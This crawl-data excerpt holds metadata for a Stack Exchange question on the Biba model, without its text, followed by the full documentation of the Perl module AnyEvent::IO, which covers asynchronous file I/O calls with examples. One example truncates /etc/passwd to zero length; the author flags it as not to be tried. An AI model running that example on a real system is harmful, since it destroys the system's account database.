{ "url": "https://security.stackexchange.com/questions/198938/why-simple-integrity-property-axiom-of-biba-model-protects-data-integrity", "source_domain": "security.stackexchange.com", "snapshot_id": "crawl=CC-MAIN-2021-17", "warc_metadata": { "Content-Length": "162123", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:VNJN7XPGUHJTKTWJX2AQM4CQIDB2YZRD", "WARC-Concurrent-To": "<urn:uuid:8851a0fa-7d88-4a0e-8794-d27d1e23a2ff>", "WARC-Date": "2021-04-23T04:45:17Z", "WARC-IP-Address": "151.101.129.69", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:ZZJK4O4UD6A4KAEOFIT6HDOI7VJOQUZ7", "WARC-Record-ID": "<urn:uuid:0a205576-5ddd-4042-a64f-bb54ed1cf7c8>", "WARC-Target-URI": "https://security.stackexchange.com/questions/198938/why-simple-integrity-property-axiom-of-biba-model-protects-data-integrity", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:c051b5b0-0768-4d16-a55b-13ab35f159f8>" }, "warc_info": "isPartOf: CC-MAIN-2021-17\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for April 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-231.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 2, 3, 92, 93, 214, 338, 339, 388, 389, 391, 392, 576, 577, 706, 707, 709, 715, 1022, 1023, 1035, 1036, 1136, 1137 ], "line_end_idx": [ 2, 3, 92, 93, 214, 338, 339, 388, 389, 391, 392, 576, 577, 706, 707, 709, 715, 1022, 1023, 1035, 1036, 1136, 1137, 1227 ] }
{ "red_pajama_v2": { "ccnet_original_length": 1227, "ccnet_original_nlines": 23, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.40243902802467346, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.016260160133242607, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.17073170840740204, "rps_doc_frac_unique_words": 0.5734597444534302, "rps_doc_mean_word_length": 4.573459625244141, "rps_doc_num_sentences": 10, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.509793758392334, "rps_doc_word_count": 211, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.08497408777475357, "rps_doc_frac_chars_dupe_6grams": 0.08497408777475357, "rps_doc_frac_chars_dupe_7grams": 0.08497408777475357, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.015544040128588676, "rps_doc_frac_chars_top_3gram": 0.02487047016620636, "rps_doc_frac_chars_top_4gram": 0.05595855042338371, "rps_doc_books_importance": -117.45149230957031, "rps_doc_books_importance_length_correction": -117.45149230957031, "rps_doc_openwebtext_importance": -65.51630401611328, "rps_doc_openwebtext_importance_length_correction": -65.51628112792969, "rps_doc_wikipedia_importance": -50.262821197509766, "rps_doc_wikipedia_importance_length_correction": -50.262821197509766 }, "fasttext": { "dclm": 0.5520764589309692, "english": 0.9340465664863586, "fineweb_edu_approx": 2.9157896041870117, "eai_general_math": 0.000034929998946608976, "eai_open_web_math": 0.06128526106476784, "eai_web_code": -0.000009890000001178123 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.82", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "025.042", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "Library science", "level_3": "Library administration" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "4", "label": "Analyze" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-4,499,286,725,258,939,000
++ed by: MELO MARIOROY PLICEASE YSASAKI CHIPSOID 57 PAUSE users 43 non-PAUSE users. Marc A. Lehmann NAME AnyEvent::IO - the DBI of asynchronous I/O implementations SYNOPSIS use AnyEvent::IO; # load /etc/passwd, call clalback with the file data when done. aio_load "/etc/passwd", sub { my ($data) = @_ or return AE::log error => "/etc/passwd: $!"; warn "/etc/passwd contains ", ($data =~ y/://) , " colons.\n"; }; # the rest of the SYNOPSIS does the same, but with individual I/O calls # also import O_XXX flags use AnyEvent::IO qw(:DEFAULT :flags); my $filedata = AE::cv; # first open the file aio_open "/etc/passwd", O_RDONLY, 0, sub { my ($fh) = @_ or return AE::log error => "/etc/passwd: $!"; # now stat the file to get the size aio_stat $fh, sub { @_ or return AE::log error => "/etc/passwd: $!"; my $size = -s _; # now read all the file data aio_read $fh, $size, sub { my ($data) = @_ or return AE::log error => "/etc/passwd: $!"; $size == length $data or return AE::log error => "/etc/passwd: short read, file changed?"; # mostly the same as aio_load, above - $data contains # the file contents now. $filedata->($data); }; }; }; my $passwd = $filedata->recv; warn length $passwd, " octets.\n"; DESCRIPTION This module provides functions that do I/O in an asynchronous fashion. It is to I/O the same as AnyEvent is to event libraries - it only interfaces to other implementations or to a portable pure-perl implementation (which does not, however, do asynchronous I/O). The only other implementation that is supported (or even known to the author) is IO::AIO, which is used automatically when it can be loaded (via AnyEvent::AIO, which also needs to be installed). If it is not available, then AnyEvent::IO falls back to its synchronous pure-perl implementation. Unlike AnyEvent, which model to use is currently decided at module load time, not at first use. Future releases might change this. RATIONALE While disk I/O often seems "instant" compared to, say, socket I/O, there are many situations where your program can block for extended time periods when doing disk I/O. For example, you access a disk on an NFS server and it is gone - can take ages to respond again, if ever. Or your system is extremely busy because it creates or restores a backup - reading data from disk can then take seconds. Or you use Linux, which for so many years has a close-to-broken VM/IO subsystem that can often induce minutes or more of delay for disk I/O, even under what I would consider light I/O loads. Whatever the situation, some programs just can't afford to block for long times (say, half a second or more), because they need to respond as fast as possible. For those cases, you need asynchronous I/O. The problem is, AnyEvent itself sometimes reads disk files (for example, when looking at /etc/hosts), and under the above situations, this can bring your program to a complete halt even if your program otherwise takes care to only use asynchronous I/O for everything (e.g. by using IO::AIO). On the other hand, requiring IO::AIO for AnyEvent is clearly impossible, as AnyEvent promises to stay pure-perl, and the overhead of IO::AIO for small programs would be immense, especially when asynchronous I/O isn't even needed. Clearly, this calls for an abstraction layer, and that is what you are looking at right now :-) ASYNCHRONOUS VS. NON-BLOCKING Many people are continuously confused on what the difference is between asynchronous I/O and non-blocking I/O. In fact, those two terms are not well defined, which often makes it hard to even talk about the difference. Here is a short guideline that should leave you less confused. It only talks about read operations, but the reasoning works with other I/O operations as well. Non-blocking I/O means that data is delivered by some external means, automatically - that is, something pushes data towards your file handle, without you having to do anything. Non-blocking means that if your operating system currently has no data (or EOF, or some error) available for you, it will not wait ("block") as it would normally do, but immediately return with an error (e.g. EWOULDBLOCK - "I would have blocked, but you forbid it"). Your program can then wait for data to arrive by other means, for example, an I/O watcher which tells you when to re-attempt the read, after which it can try to read again, and so on. Often, you would expect this to work for disk files as well - if the data isn't already in memory, one might want to wait for it and then re-attempt the read for example. While this is sound reasoning, the POSIX API does not support this, because disk drives and file systems do not send data "on their own", and more so, the OS already knows that data is there, it doesn't need to "wait" until it arrives from some external entity, it only needs to transfer the data from disk to your memory buffer. So basically, while the concept is sound, the existing OS APIs do not support this. Therefore, it makes no sense to switch a disk file handle into non-blocking mode - it will behave exactly the same as in blocking mode, namely it will block until the data has been read from the disk. The alternative to non-blocking I/O that actually works with disk files is usually called asynchronous I/O. Asynchronous, because the actual I/O is done while your program does something else: there is no need to call the read function to see if data is there, you only order the read once, and it will notify you when the read has finished and the data is your buffer - all the work is done in the background. This works with disk files, and even with sockets and other sources. It is, however, not very efficient when used with sources that could be driven in a non-blocking way, because it usually has higher overhead in the OS than non-blocking I/O, because it ties memory buffers for a potentially unlimited time and often only a limited number of operations can be done in parallel. That's why asynchronous I/O makes most sense when confronted with disk files, and non-blocking I/O only makes sense with sockets, pipes and similar streaming sources. IMPORT TAGS By default, this module exports all aio_xxx functions. In addition, the following import tags can be used: :aio all aio_* functions, same as :DEFAULT :flags the fcntl open flags (O_CREAT, O_RDONLY, ...) API NOTES The functions in this module are not meant to be the most versatile or the highest-performers (they are not very slow either, of course). They are primarily meant to give users of your code the option to do the I/O asynchronously (by installing IO::AIO and AnyEvent::AIO), without adding a dependency on those modules. NAMING All the functions in this module implement an I/O operation, usually with the same or similar name as the Perl built-in that they mimic, but with an aio_ prefix. If you like you can think of the aio_xxx functions as "AnyEvent I/O" or "Asynchronous I/O" variants of Perl built-ins. CALLING CONVENTIONS AND ERROR REPORTING Each function expects a callback as their last argument. The callback is usually called with the result data or result code. An error is usually signalled by passing no arguments to the callback, which is then free to look at $! for the error code. This makes all of the following forms of error checking valid: aio_open ...., sub { my $fh = shift # scalar assignment - will assign undef on error or return AE::log error => "..."; my ($fh) = @_ # list assignment - will be 0 elements on error or return AE::log error => "..."; @_ # check the number of elements directly or return AE::log error => "..."; CAVEAT: RELATIVE PATHS When a path is specified, this path must be an absolute path, unless you make certain that nothing in your process calls chdir or an equivalent function while the request executes. CAVEAT: OTHER SHARED STATE Changing the umask while any requests execute that create files (or otherwise rely on the current umask) results in undefined behaviour - likewise changing anything else that would change the outcome, such as your effective user or group ID. CALLBACKS MIGHT BE CALLED BEFORE FUNCTION RETURNS TO CALLER Unlike other functions in the AnyEvent module family, these functions may call your callback instantly, before returning. This should not be a real problem, as these functions never return anything useful. BEHAVIOUR AT PROGRAM EXIT Both AnyEvent::IO::Perl and AnyEvent::IO::IOAIO implementations make sure that operations that have started will be finished on a clean programs exit. That makes programs work that start some I/O operations and then exit. For example this complete program: use AnyEvent::IO; aio_stat "path1", sub { aio_stat "path2", sub { warn "both stats done\n"; }; }; Starts a stat operation and then exits by "falling off the end" of the program. Nevertheless, both stat operations will be executed, as AnyEvent::IO waits for all outstanding requests to finish and you can start new requests from request callbacks. In fact, since AnyEvent::IO::Perl is currently synchronous, the program will do both stats before falling off the end, but with AnyEvent::IO::IOAIO, the program first falls of the end, then the stats are executed. While not guaranteed, this behaviour will be present in future versions, if reasonably possible (which is extreemly likely :). GLOBAL VARIABLES AND FUNCTIONS $AnyEvent::IO::MODEL Contains the package name of the backend I/O model in use - at the moment, this is usually AnyEvent::IO::Perl or AnyEvent::IO::IOAIO. aio_load $path, $cb->($data) Tries to open $path and read its contents into memory (obviously, should only be used on files that are "small enough"), then passes them to the callback as a string. Example: load /etc/hosts. aio_load "/etc/hosts", sub { my ($hosts) = @_ or return AE::log error => "/etc/hosts: $!"; AE::log info => "/etc/hosts contains ", ($hosts =~ y/\n/), " lines\n"; }; aio_open $path, $flags, $mode, $cb->($fh) Tries to open the file specified by $path with the O_XXX-flags $flags (from the Fcntl module, or see below) and the mode $mode (a good value is 0666 for O_CREAT, and 0 otherwise). The (normal, standard, perl) file handle associated with the opened file is then passed to the callback. This works very much like Perl's sysopen function. Changing the umask while this request executes results in undefined behaviour - likewise changing anything else that would change the outcome, such as your effective user or group ID. To avoid having to load Fcntl, this module provides constants for O_RDONLY, O_WRONLY, O_RDWR, O_CREAT, O_EXCL, O_TRUNC and O_APPEND - you can either access them directly (AnyEvent::IO::O_RDONLY) or import them by specifying the :flags import tag (see SYNOPSIS). Example: securely open a file in /var/tmp, fail if it exists or is a symlink. use AnyEvent::IO qw(:flags); aio_open "/var/tmp/mytmp$$", O_CREAT | O_EXCL | O_RDWR, 0600, sub { my ($fh) = @_ or return AE::log error => "$! - denial of service attack?"; # now we have $fh }; aio_close $fh, $cb->($success) Closes the file handle (yes, close can block your process indefinitely) and passes a true value to the callback on success. Due to idiosyncrasies in perl, instead of calling close, the file handle might get closed by dup2'ing another file descriptor over it, that is, the $fh might still be open, but can be closed safely afterwards and must not be used for anything. Example: close a file handle, and dirty as we are, do not even bother to check for errors. aio_close $fh, sub { }; aio_read $fh, $length, $cb->($data) Tries to read $length octets from the current position from $fh and passes these bytes to $cb. Otherwise the semantics are very much like those of Perl's sysread. If less than $length octets have been read, $data will contain only those bytes actually read. At EOF, $data will be a zero-length string. If an error occurs, then nothing is passed to the callback. Obviously, multiple aio_read's or aio_write's at the same time on file handles sharing the underlying open file description results in undefined behaviour, due to sharing of the current file offset (and less obviously so, because OS X is not thread safe and corrupts data when you try). Example: read 128 octets from a file. aio_read $fh, 128, sub { my ($data) = @_ or return AE::log error "read from fh: $!"; if (length $data) { print "read ", length $data, " octets.\n"; } else { print "EOF\n"; } }; aio_seek $fh, $offset, $whence, $callback->($offs) Seeks the filehandle to the new $offset, similarly to Perl's sysseek. The $whence are the traditional values (0 to count from start, 1 to count from the current position and 2 to count from the end). The resulting absolute offset will be passed to the callback on success. Example: measure the size of the file in the old-fashioned way using seek. aio_seek $fh, 0, 2, sub { my ($size) = @_ or return AE::log error => "seek to end failed: $!"; # maybe we need to seek to the beginning again? aio_seek $fh, 0, 0, sub { # now we are hopefully at the beginning }; }; aio_write $fh, $data, $cb->($length) Tries to write the octets in $data to the current position of $fh and passes the actual number of bytes written to the $cb. Otherwise the semantics are very much like those of Perl's syswrite. If less than length $data octets have been written, $length will reflect that. If an error occurs, then nothing is passed to the callback. Obviously, multiple aio_read's or aio_write's at the same time on file handles sharing the underlying open file description results in undefined behaviour, due to sharing of the current file offset (and less obviously so, because OS X is not thread safe and corrupts data when you try). aio_truncate $fh_or_path, $new_length, $cb->($success) Calls truncate on the path or perl file handle and passes a true value to the callback on success. Example: truncate /etc/passwd to zero length - this only works on systems that support truncate, should not be tried out for obvious reasons and debian will probably open yte another security bug about this example. aio_truncate "/etc/passwd", sub { @_ or return AE::log error => "/etc/passwd: $! - are you root enough?"; }; aio_utime $fh_or_path, $atime, $mtime, $cb->($success) Calls utime on the path or perl file handle and passes a true value to the callback on success. The special case of both $atime and $mtime being undef sets the times to the current time, on systems that support this. Example: try to touch file. aio_utime "file", undef, undef, sub { }; aio_chown $fh_or_path, $uid, $gid, $cb->($success) Calls chown on the path or perl file handle and passes a true value to the callback on success. If $uid or $gid can be specified as undef, in which case the uid or gid of the file is not changed. This differs from Perl's chown built-in, which wants -1 for this. Example: update the group of file to 0 (root), but leave the owner alone. aio_chown "file", undef, 0, sub { @_ or return AE::log error => "chown 'file': $!"; }; aio_chmod $fh_or_path, $perms, $cb->($success) Calls chmod on the path or perl file handle and passes a true value to the callback on success. Example: change file to be user/group/world-readable, but leave the other flags alone. aio_stat "file", sub { @_ or return AE::log error => "file: $!"; aio_chmod "file", (stat _)[2] & 07777 | 00444, sub { }; }; aio_stat $fh_or_path, $cb->($success) aio_lstat $path, $cb->($success) Calls stat or lstat on the path or perl file handle and passes a true value to the callback on success. The stat data will be available by stat'ing the _ file handle (e.g. -x _, stat _ and so on). Example: see if we can find the number of subdirectories of /etc. aio_stat "/etc", sub { @_ or return AE::log error => "/etc: $!"; (stat _)[3] >= 2 or return AE::log warn => "/etc has low link count - non-POSIX filesystem?"; print "/etc has ", (stat _)[3] - 2, " subdirectories.\n"; }; Calls link on the paths and passes a true value to the callback on success. Example: link "file to file.bak, then rename file.new over file, to atomically replace it. aio_link "file", "file.bak", sub { @_ or return AE::log error => "file: $!"; aio_rename "file.new", "file", sub { @_ or return AE::log error => "file.new: $!"; print "file atomically replaced by file.new, backup file.bak\n"; }; }; Calls symlink on the paths and passes a true value to the callback on success. Example: create a symlink "slink containing "random data". aio_symlink "random data", "slink", sub { @_ or return AE::log error => "slink: $!"; }; Calls readlink on the paths and passes the link target string to the callback. Example: read the symlink called Fyslink> and verify that it contains "random data". aio_readlink "slink", sub { my ($target) = @_ or return AE::log error => "slink: $!"; $target eq "random data" or AE::log critical => "omg, the world will end!"; }; aio_rename $oldpath, $newpath, $cb->($success) Calls rename on the paths and passes a true value to the callback on success. See aio_link for an example. Tries to unlink the object at $path and passes a true value to the callback on success. Example: try to delete the file tmpfile.dat~. aio_unlink "tmpfile.dat~", sub { }; aio_mkdir $path, $perms, $cb->($success) Calls mkdir on the path with the given permissions $perms (when in doubt, 0777 is a good value) and passes a true value to the callback on success. Example: try to create the directory subdir and leave it to whoeveer comes after us to check whether it worked. aio_mkdir "subdir", 0777, sub { }; aio_rmdir $path, $cb->($success) Tries to remove the directory at $path and passes a true value to the callback on success. Example: try to remove the directory subdir and don't give a damn if that fails. aio_rmdir "subdir", sub { }; aio_readdir $path, $cb->(\@names) Reads all filenames from the directory specified by $path and passes them to the callback, as an array reference with the names (without a path prefix). The . and .. names will be filtered out first. The ordering of the file names is undefined - backends that are capable of it (e.g. IO::AIO) will return the ordering that most likely is fastest to stat through, and furthermore put entries that likely are directories first in the array. If you need best performance in recursive directory traversal or when looking at really big directories, you are advised to use IO::AIO directly, specifically the aio_readdirx and aio_scandir functions, which have more options to tune performance. Example: recursively scan a directory hierarchy, silently skip diretcories we couldn't read and print all others. sub scan($); # visibility-in-next statement is not so useful these days sub scan($) { my ($path) = @_; aio_readdir $path, sub { my ($names) = @_ or return; print "$path\n"; for my $name (@$names) { aio_lstat "$path/$name", sub { scan "$path/$name" if -d _; }; } }; } scan "/etc"; ENVIRONMENT VARIABLES See the description of PERL_ANYEVENT_IO_MODEL in the AnyEvent manpage. AUTHOR Marc Lehmann <[email protected]> http://anyevent.schmorp.de
{ "url": "https://metacpan.org/pod/AnyEvent::IO", "source_domain": "metacpan.org", "snapshot_id": "crawl=CC-MAIN-2015-32", "warc_metadata": { "Content-Length": "92435", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:7PTSFERCZNHD54AO5QXORA4XROZNJZO7", "WARC-Concurrent-To": "<urn:uuid:e9308cdb-7ed7-4e6a-b3fe-67de0e4088b4>", "WARC-Date": "2015-07-30T08:24:55Z", "WARC-IP-Address": "23.235.33.143", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:TJOXRCJDJ2OQIVZFCVHCGHJYUEHHG6N3", "WARC-Record-ID": "<urn:uuid:5f7f3b69-758e-48d5-a2f1-34b842152f3a>", "WARC-Target-URI": "https://metacpan.org/pod/AnyEvent::IO", "WARC-Truncated": "length", "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:95b2780f-abbe-462f-84d3-a0e596dcd87d>" }, "warc_info": "robots: classic\r\nhostname: ip-10-236-191-2.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-32\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for August 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 9, 49, 50, 65, 85, 86, 102, 103, 108, 109, 168, 169, 178, 179, 200, 201, 268, 301, 323, 378, 379, 448, 454, 455, 530, 531, 560, 601, 602, 628, 629, 654, 700, 720, 775, 776, 818, 844, 856, 914, 915, 941, 942, 980, 1016, 1044, 1105, 1106, 1140, 1224, 1225, 1291, 1328, 1360, 1372, 1381, 1387, 1388, 1421, 1459, 1460, 1472, 1473, 1736, 1737, 2030, 2031, 2162, 2163, 2173, 2174, 2761, 2762, 2922, 2923, 2967, 2968, 3260, 3261, 3491, 3492, 3588, 3589, 3619, 3620, 3998, 3999, 4444, 4445, 4629, 4630, 5131, 5132, 5417, 5418, 5829, 5830, 6208, 6209, 6376, 6377, 6389, 6390, 6497, 6498, 6550, 6610, 6611, 6621, 6622, 6941, 6942, 6949, 6950, 7231, 7232, 7272, 7273, 7522, 7523, 7586, 7587, 7611, 7683, 7726, 7727, 7798, 7841, 7842, 7905, 7948, 7949, 7972, 7973, 8154, 8155, 8182, 8183, 8425, 8426, 8486, 8487, 8693, 8694, 8720, 8721, 8978, 8979, 9000, 9001, 9028, 9058, 9093, 9102, 9108, 9109, 9358, 9359, 9573, 9574, 9701, 9702, 9733, 9734, 9755, 9756, 9890, 9891, 9920, 9921, 10088, 10089, 10115, 10116, 10148, 10171, 10225, 10226, 10303, 10309, 10351, 10352, 10532, 10533, 10638, 10639, 10690, 10691, 10875, 10876, 11138, 11139, 11217, 11218, 11250, 11251, 11322, 11342, 11412, 11413, 11437, 11443, 11474, 11475, 11599, 11600, 11844, 11845, 11936, 11937, 11964, 12000, 12001, 12164, 12165, 12364, 12365, 12652, 12653, 12691, 12692, 12720, 12742, 12795, 12798, 12824, 12876, 12891, 12915, 12923, 12929, 12980, 12981, 13181, 13182, 13255, 13256, 13331, 13332, 13361, 13383, 13445, 13446, 13500, 13532, 13581, 13590, 13596, 13633, 13634, 13827, 13828, 13967, 13968, 14255, 14256, 14311, 14312, 14411, 14412, 14628, 14629, 14666, 14675, 14753, 14759, 14814, 14815, 14911, 14912, 15033, 15034, 15062, 15063, 15107, 15158, 15159, 15255, 15256, 15422, 15423, 15497, 15498, 15535, 15544, 15600, 15606, 15653, 15654, 15750, 15751, 15838, 15839, 15865, 15874, 15922, 15923, 15985, 15991, 16029, 16062, 16063, 16167, 16168, 16261, 16262, 16328, 16329, 16355, 16364, 16412, 16413, 16436, 16522, 16523, 16587, 16593, 16594, 16670, 16671, 16762, 16763, 16801, 16810, 16858, 16859, 16902, 16914, 16969, 16970, 17044, 17053, 17059, 17060, 17139, 17140, 17199, 17200, 17245, 17254, 17303, 17309, 17310, 17389, 17390, 17475, 17476, 17506, 17529, 17577, 17578, 17608, 17667, 17672, 17719, 17720, 17798, 17799, 17828, 17829, 17917, 17918, 17964, 17965, 18004, 18045, 18046, 18194, 18195, 18307, 18308, 18346, 18379, 18380, 18471, 18472, 18553, 18554, 18586, 18620, 18621, 18821, 18822, 19061, 19062, 19310, 19311, 19425, 19426, 19501, 19518, 19541, 19542, 19573, 19599, 19622, 19623, 19649, 19650, 19684, 19727, 19761, 19788, 19803, 19814, 19823, 19828, 19829, 19845, 19846, 19868, 19869, 19940, 19941, 19948, 19949, 19984 ], "line_end_idx": [ 9, 49, 50, 65, 85, 86, 102, 103, 108, 109, 168, 169, 178, 179, 200, 201, 268, 301, 323, 378, 379, 448, 454, 455, 530, 531, 560, 601, 602, 628, 629, 654, 700, 720, 775, 776, 818, 844, 856, 914, 915, 941, 942, 980, 1016, 1044, 1105, 1106, 1140, 1224, 1225, 1291, 1328, 1360, 1372, 1381, 1387, 1388, 1421, 1459, 1460, 1472, 1473, 1736, 1737, 2030, 2031, 2162, 2163, 2173, 2174, 2761, 2762, 2922, 2923, 2967, 2968, 3260, 3261, 3491, 3492, 3588, 3589, 3619, 3620, 3998, 3999, 4444, 4445, 4629, 4630, 5131, 5132, 5417, 5418, 5829, 5830, 6208, 6209, 6376, 6377, 6389, 6390, 6497, 6498, 6550, 6610, 6611, 6621, 6622, 6941, 6942, 6949, 6950, 7231, 7232, 7272, 7273, 7522, 7523, 7586, 7587, 7611, 7683, 7726, 7727, 7798, 7841, 7842, 7905, 7948, 7949, 7972, 7973, 8154, 8155, 8182, 8183, 8425, 8426, 8486, 8487, 8693, 8694, 8720, 8721, 8978, 8979, 9000, 9001, 9028, 9058, 9093, 9102, 9108, 9109, 9358, 9359, 9573, 9574, 9701, 9702, 9733, 9734, 9755, 9756, 9890, 9891, 9920, 9921, 10088, 10089, 10115, 10116, 10148, 10171, 10225, 10226, 10303, 10309, 10351, 10352, 10532, 10533, 10638, 10639, 10690, 10691, 10875, 10876, 11138, 11139, 11217, 11218, 11250, 11251, 11322, 11342, 11412, 11413, 11437, 11443, 11474, 11475, 11599, 11600, 11844, 11845, 11936, 11937, 11964, 12000, 12001, 12164, 12165, 12364, 12365, 12652, 12653, 12691, 12692, 12720, 12742, 12795, 12798, 12824, 12876, 12891, 12915, 12923, 12929, 12980, 12981, 13181, 13182, 13255, 13256, 13331, 13332, 13361, 13383, 13445, 13446, 13500, 13532, 13581, 13590, 13596, 13633, 13634, 13827, 13828, 13967, 13968, 14255, 14256, 14311, 14312, 14411, 14412, 14628, 14629, 14666, 14675, 14753, 14759, 14814, 14815, 14911, 14912, 15033, 15034, 15062, 15063, 15107, 15158, 15159, 15255, 15256, 15422, 15423, 15497, 15498, 15535, 15544, 15600, 15606, 15653, 15654, 15750, 15751, 15838, 15839, 15865, 15874, 15922, 15923, 15985, 15991, 16029, 16062, 16063, 16167, 16168, 16261, 16262, 16328, 16329, 16355, 16364, 16412, 16413, 16436, 16522, 16523, 16587, 16593, 16594, 16670, 16671, 16762, 16763, 16801, 16810, 16858, 16859, 16902, 16914, 16969, 16970, 17044, 17053, 17059, 17060, 17139, 17140, 17199, 17200, 17245, 17254, 17303, 17309, 17310, 17389, 17390, 17475, 17476, 17506, 17529, 17577, 17578, 17608, 17667, 17672, 17719, 17720, 17798, 17799, 17828, 17829, 17917, 17918, 17964, 17965, 18004, 18045, 18046, 18194, 18195, 18307, 18308, 18346, 18379, 18380, 18471, 18472, 18553, 18554, 18586, 18620, 18621, 18821, 18822, 19061, 19062, 19310, 19311, 19425, 19426, 19501, 19518, 19541, 19542, 19573, 19599, 19622, 19623, 19649, 19650, 19684, 19727, 19761, 19788, 19803, 19814, 19823, 19828, 19829, 19845, 19846, 19868, 19869, 19940, 19941, 19948, 19949, 19984, 20011 ] }
{ "red_pajama_v2": { "ccnet_original_length": 20011, "ccnet_original_nlines": 417, "rps_doc_curly_bracket": 0.003148270072415471, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.3494449555873871, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.049953751266002655, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.26757630705833435, "rps_doc_frac_unique_words": 0.26220735907554626, "rps_doc_mean_word_length": 4.739799499511719, "rps_doc_num_sentences": 170, "rps_doc_symbol_to_word_ratio": 0.004625349771231413, "rps_doc_unigram_entropy": 5.750762939453125, "rps_doc_word_count": 2990, "rps_doc_frac_chars_dupe_10grams": 0.11339260637760162, "rps_doc_frac_chars_dupe_5grams": 0.15678803622722626, "rps_doc_frac_chars_dupe_6grams": 0.14500422775745392, "rps_doc_frac_chars_dupe_7grams": 0.12390629202127457, "rps_doc_frac_chars_dupe_8grams": 0.11847305297851562, "rps_doc_frac_chars_dupe_9grams": 0.11339260637760162, "rps_doc_frac_chars_top_2gram": 0.009173019789159298, "rps_doc_frac_chars_top_3gram": 0.019263340160250664, "rps_doc_frac_chars_top_4gram": 0.02540219947695732, "rps_doc_books_importance": -2080.577880859375, "rps_doc_books_importance_length_correction": -2080.577880859375, "rps_doc_openwebtext_importance": -1171.9144287109375, "rps_doc_openwebtext_importance_length_correction": -1171.9144287109375, "rps_doc_wikipedia_importance": -1116.84130859375, "rps_doc_wikipedia_importance_length_correction": -1116.84130859375 }, "fasttext": { "dclm": 0.45384150743484497, "english": 0.868301272392273, "fineweb_edu_approx": 2.1176645755767822, "eai_general_math": 0.8442884683609009, "eai_open_web_math": 0.28145426511764526, "eai_web_code": 0.9668827056884766 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.678", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "10", "label": "Knowledge Article" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
7,371,927,149,808,741,000
